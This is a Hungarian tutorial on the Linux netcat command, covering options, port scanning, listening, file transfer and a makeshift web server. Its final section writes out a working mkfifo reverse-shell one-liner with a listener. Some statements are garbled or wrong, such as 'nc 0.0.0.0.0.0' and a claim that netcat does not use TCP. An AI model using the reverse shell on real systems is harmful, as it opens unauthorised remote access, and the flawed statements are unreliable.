Fizetési módok Abuse

Mire való az NC parancs Linuxban

29.08.2024, 02:19

A netcat parancs a TCP és UDP protokollok használatával történő adatküldéshez és -fogadáshoz szükséges. Nem rendelkezik nagyszámú funkcióval, de elegendő a kapcsolat ellenőrzéséhez és az egyszerű hibakereséshez. Hogyan lehet TCP protokollon keresztül kommunikálni? Ezt a kérdést sok felhasználó teszi fel. Ebben a cikkben válaszolunk erre a kérdésre, és példákat is mutatunk a parancs valós alkalmazására.

Mit csinál a parancs?

A netcat (vagy nc) parancs egy hatékony eszköz a hálózati kapcsolatokkal való munkához. A rendszergazdák és a fejlesztők gyakran használják különböző feladatokra. Íme a netcat főbb funkciói és jellemzői:

  1. TCP/UDP-kapcsolatok létesítése: lehetővé teszi a TCP és UDP protokollok segítségével távoli állomáshoz való kapcsolat létesítését.
  2. Port Listening: szerverként használható, hogy egy adott porton bejövő kapcsolatokat figyeljen.
  3. Adatátvitel: adatok átvitele számítógépek között a hálózaton keresztül. Ez hasznos lehet fájlátvitelhez vagy üzenetküldéshez.
  4. Hálózati alkalmazások hibakeresése: hálózati szolgáltatások tesztelésére és hibakeresésére szolgál, tetszőleges adatok küldését és fogadását teszi lehetővé.
  5. Egyszerű csevegések létrehozása: egyszerű szöveges kommunikáció hozható létre két rendszer között.
  6. Portvizsgálat: távoli állomáson lévő nyitott portok ellenőrzésére használható.
  7. Alagútépítés: alagutak létrehozására használható a forgalom átirányítására más portokon vagy hosztokon keresztül.
  8. Proxykkal való munka: proxy-kiszolgálókkal való munkára és különböző hálózati feladatok elvégzésére használható.

A netcat egy sokoldalú eszköz, amely az egyszerű üzenetküldéstől az összetett hálózati műveletekig sokféle forgatókönyvben használható.

Lehetőségek

Kezdjük a szintaxis és a legnépszerűbbek áttekintésével:

  • -6 - IPv6 protokoll használata. Az alapértelmezett a -4 és az IPv4, illetve az IPv4;
  • -h - súgó megjelenítése az elérhető paraméterek listájával;
  • -i - delay - késleltetés - késleltetés hozzáadása a karakterláncok küldése vagy a portok letapogatása között. Ez másodpercekben van beállítva;
  • -l - figyelési mód. Portmeghatározással együtt használatos;
  • -N - a kapcsolat lezárása, amikor a fájl küldésekor elérjük a fájl végét;
  • -n - közvetlenül IP-címekkel dolgozik DNS nélkül, a portok letapogatását is kikapcsolja;
  • -P - user_name - a proxyhoz való csatlakozáshoz szükséges felhasználónév megadása;
  • -x - address:port - adja meg a proxyhoz való csatlakozás címét és portját;
  • -p - port - a port számának megadása. A legtöbb esetben a port a paraméter megadása nélkül is beolvasásra kerül;
  • -U - UNIX tartományi aljzat használata (a folyamatok közötti kommunikációhoz);
  • -u - UDP protokoll használata, alapértelmezés szerint TCP protokollt használ;
  • -v - részletes üzemmód. Szkenneléskor használatos;
  • -W number_packets - bizonyos számú csomag fogadása után lezárja a kapcsolatot;
  • -w timer - időzítő engedélyezése a kapcsolat időtartamának korlátozására. Másodpercben van beállítva;
  • -z - letiltja az adatküldést. A beolvasás során használatos.

A parancs a következő formájú (paraméterek portcím):

$ nc

A következőkben elmondjuk, hogyan kell használni a parancsot.

A port ellenőrzése

Az ellenőrzés a netcat fő felhasználási területe. Két paramétert kell használni -vz, meg kell adni a címet és a portot. Megadhat egy címtartományt is, de ebben az esetben jobb, ha csak a nyitott portokat szűri ki agrep paranccsal. Vizsgáljuk át a helyi hálózati cím portjait:

$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

Ugyanígy vizsgáljuk át az UDP portokat is a -u paraméter hozzáadásával:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

A TCP és az UDP közötti fő különbséget ismernie kell. Tehát az UDP portok mindig rendelkezésre állnak.

A port meghallgatása

A -l paraméter a port meghallgatására szolgál. Ez gyakran elég, de engedélyezheti a részletes módot:

$ nc -nlv 8080

Ne feledje, hogy a TCP protokoll használatakor a portnak szabadnak kell lennie, különben megjelenik a Már használatban van hiba. Nem minden portot használhatnak a normál felhasználók, például a 80-as portot (HTTP), valószínűleg egy másik folyamat foglalja le, és szuperfelhasználói jogokat igényel.

Fájlcsere

A parancs hasznos képessége az adatcsere. Egy egyszerű példa erre egy szöveges csevegőszoba. Ahhoz, hogy az egyik számítógépen csevegést indítsunk, futtassuk a segédprogramot port figyelő üzemmódban:

$ nc -lp 8080

A másik számítógépen meg kell adnia az első számítógép címét és ugyanazt a portot. Azt se felejtse el ellenőrizni, hogy a port nyitva van-e:

$ nc 0.0.0.0 8080

Így képes lesz üzeneteket küldeni és fogadni. Vagyis a parancs fájlcserére szolgál. Az elv ugyanaz, azzal a különbséggel, hogy a kimenetet egy fájlba, nevezetesen a paste.txt fájlba kell átirányítani:

$ nc -l 8080 > paste.txt

A másik számítógépen a copy.txt fájl szolgál majd bemenetként. Nem felesleges az -N paramétert használni a kapcsolat lezárására a fájlátvitel után:

$ nc -N 0.0.0.0 8080 < copy.txt

A fájlátvitelnél fontos a sorrend betartása, először a hallgatás megnyitása és csak utána a fájl elküldése. Az nc parancs egy működő, de messze nem a legjobb módja a fájlok átvitelének. Vannak hatékonyabb és hasznosabb eszközök is erre a feladatra.

Egy egyszerű webkiszolgáló

Mivel az NC parancs nem a TCP protokollal működik, lehetővé teszi a HTTP-kérések küldését és fogadását is. Ennélfogva a segédprogram egyszerű webszerverré válhat. Igen, egy üres oldalnál trükkösebb dolgot nem lehet így csinálni, de a művelet szinte semmi időt nem vesz igénybe, és az a plusz, hogy nem kell semmi pluszt telepíteni.

A példa űrlapon HTTP-válasz az index.html fájlra . Ha már magáról az np-ről beszélünk, érdemes a -w 1 paraméterrel beállítani egy időzítőt, ami megszakítja a kapcsolatot, ha a böngésző nem teszi:

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

Ha adatokat szeretne kapni egy weboldalról, akkor kérést formálhat, és elküldheti a tanácsolt címre és portra. Ez az út azonban elég bonyolult, jobb, ha a megfelelő CURL parancsot használjuk.

Távoli Shell

A fent tárgyalt példák alapján nem lesz nehéz megállapítani, hogy a parancs lehetővé teszi a számítógép héjához való távoli hozzáférés megszervezését. Korábban az NC segédprogramnak több paramétere volt a terminálhoz való hozzáférés megnyitásához. A -e paramétert már régen eltávolították a segédprogramból, így a terminálhoz való egyszerű hozzáférés többé nem lesz lehetséges. Magának az alkalmazásnak a biztonsága magasabb lett, de továbbra is működhet másokkal együtt.

Mutassuk meg a kapcsolatot az mkfifo nevű csatorna használatával. Először is kezdjük el hallgatni azt a portot a PC-n, ahová hozzáférést kapunk:

$ nc -lvnp 8080

Menjünk közvetlenül a terminál megnyitására szolgáló parancsra. Először töröljük a régi nevesített csatornát(rm /tmp/f), hozzunk létre helyette egy újat(mkfifo /tmp/f), olvassuk be a tartalmát(cat /tmp/f) és küldjünk egy shell parancsot a kimenetére(sh -i 2>&1). Ezután már csak az nc futtatása van hátra a kimenettel a megnevezett csatornánkra(nc 0.0.0.0.0.0 8080 >/tmp/f):

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Tartsuk szem előtt, hogy ez a hackelés egyik módja, azonban hasznos lehet, ha az ssh-val problémák adódnak. A támadás megakadályozása érdekében konfiguráljon biztonsági házirendet és tűzfalat.